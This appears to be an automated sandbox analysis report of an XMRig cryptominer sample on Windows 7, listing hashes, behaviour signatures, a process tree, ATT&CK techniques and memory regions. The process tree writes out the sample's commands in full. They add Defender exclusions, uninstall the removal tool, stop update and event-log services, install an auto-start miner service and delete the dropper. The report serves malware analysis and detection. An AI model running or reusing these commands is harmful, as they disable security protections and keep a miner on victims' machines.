Analysis

  • max time kernel
    95s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    23-05-2024 00:57

General

  • Target

    6742f07b92f0a5ecd52ac03b37521910_NeikiAnalytics.exe

  • Size

    5.3MB

  • MD5

    6742f07b92f0a5ecd52ac03b37521910

  • SHA1

    b0fcbf2e7025fe804f61c8fded4e0983abdeb70b

  • SHA256

    509319e170d014c21a44e224dff3e1cb5665887849b59ff14cd287f7d03e6d6b

  • SHA512

    b1ca0b94487b7a65d201f1468ee0f913be9290186801db08ca294d3bac441ba095408258d9fc1bcfdad30d6595e9936d6349d05af7fb9a84952f9f2d798c81eb

  • SSDEEP

    98304:RcmetZo1we5eNHA6Qtu1btqbyrvRdpveLhBRcIIIAEBczweizIPYj:9vwsKuoxqbyzRdpvuRcNIdBczjej

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6742f07b92f0a5ecd52ac03b37521910_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\6742f07b92f0a5ecd52ac03b37521910_NeikiAnalytics.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2984
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2092
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2300
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2776
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2656
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2772
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2884
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2568
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2516
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2536
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2552
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2572
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "ROADPDXD"
      2⤵
      • Launches sc.exe
      PID:2644
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "ROADPDXD" binpath= "C:\ProgramData\ypsqetvlruho\kjakmqdelduq.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:1916
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:2852
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "ROADPDXD"
      2⤵
      • Launches sc.exe
      PID:2816
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\6742f07b92f0a5ecd52ac03b37521910_NeikiAnalytics.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2832
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:2916
    • C:\ProgramData\ypsqetvlruho\kjakmqdelduq.exe
      C:\ProgramData\ypsqetvlruho\kjakmqdelduq.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2880
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2896
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:352
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:1628
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:1736
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:1936
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1624
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:468
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:1396
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1524
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1228
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:852
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1768
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:2056
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2972

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Execution

      Command and Scripting Interpreter

      1
      T1059

      PowerShell

      1
      T1059.001

      System Services

      2
      T1569

      Service Execution

      2
      T1569.002

      Persistence

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Privilege Escalation

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Defense Evasion

      Impair Defenses

      1
      T1562

      Impact

      Service Stop

      1
      T1489

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      Downloads

      • \ProgramData\ypsqetvlruho\kjakmqdelduq.exe
        Filesize

        5.3MB

        MD5

        6742f07b92f0a5ecd52ac03b37521910

        SHA1

        b0fcbf2e7025fe804f61c8fded4e0983abdeb70b

        SHA256

        509319e170d014c21a44e224dff3e1cb5665887849b59ff14cd287f7d03e6d6b

        SHA512

        b1ca0b94487b7a65d201f1468ee0f913be9290186801db08ca294d3bac441ba095408258d9fc1bcfdad30d6595e9936d6349d05af7fb9a84952f9f2d798c81eb

      • memory/2056-19-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2056-21-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2056-16-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2056-17-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2056-18-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2056-23-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2092-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
        Filesize

        9.6MB

      • memory/2092-5-0x000000001B580000-0x000000001B862000-memory.dmp
        Filesize

        2.9MB

      • memory/2092-6-0x0000000001CD0000-0x0000000001CD8000-memory.dmp
        Filesize

        32KB

      • memory/2092-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
        Filesize

        9.6MB

      • memory/2092-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
        Filesize

        9.6MB

      • memory/2092-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp
        Filesize

        4KB

      • memory/2896-15-0x0000000000510000-0x0000000000518000-memory.dmp
        Filesize

        32KB

      • memory/2896-14-0x000000001A0B0000-0x000000001A392000-memory.dmp
        Filesize

        2.9MB

      • memory/2972-27-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-25-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-28-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-32-0x00000000000B0000-0x00000000000D0000-memory.dmp
        Filesize

        128KB

      • memory/2972-30-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-33-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-37-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-36-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-35-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-34-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-31-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-29-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-26-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2972-38-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB